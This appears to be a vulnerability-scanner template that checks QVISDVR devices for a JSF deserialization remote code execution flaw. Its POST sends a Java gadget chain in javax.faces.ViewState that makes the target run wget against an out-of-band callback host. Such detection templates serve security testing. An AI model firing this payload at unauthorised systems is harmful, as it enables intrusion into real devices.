2021-07-18 16:30:43 +00:00
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id: qvisdvr-deserialization-rce
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info:
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author: me9187
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name: QVISDVR JSF Deserialization - Remote Code Execution
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severity: critical
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reference: https://twitter.com/Me9187/status/1414606876575162373
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tags: qvisdvr,rce,deserialization,jsf,iot
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requests:
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- raw:
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- |
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GET /qvisdvr/ HTTP/1.1
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2021-07-18 16:32:30 +00:00
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Host: {{Hostname}}
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2021-07-18 16:30:43 +00:00
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Content-Type: application/x-www-form-urlencoded
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2021-07-27 16:13:39 +00:00
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2021-07-18 16:30:43 +00:00
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- |
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POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
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2021-07-18 16:32:30 +00:00
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Host: {{Hostname}}
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2021-07-18 16:30:43 +00:00
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Content-Type: application/x-www-form-urlencoded
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2021-07-27 10:59:17 +00:00
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javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
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2021-07-18 16:30:43 +00:00
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extractors:
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- type: regex
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name: token
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group: 1
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internal: true
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part: header
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regex:
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- "JSESSIONID=(.*)"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 500
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- type: word
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part: interactsh_protocol
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words:
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- http
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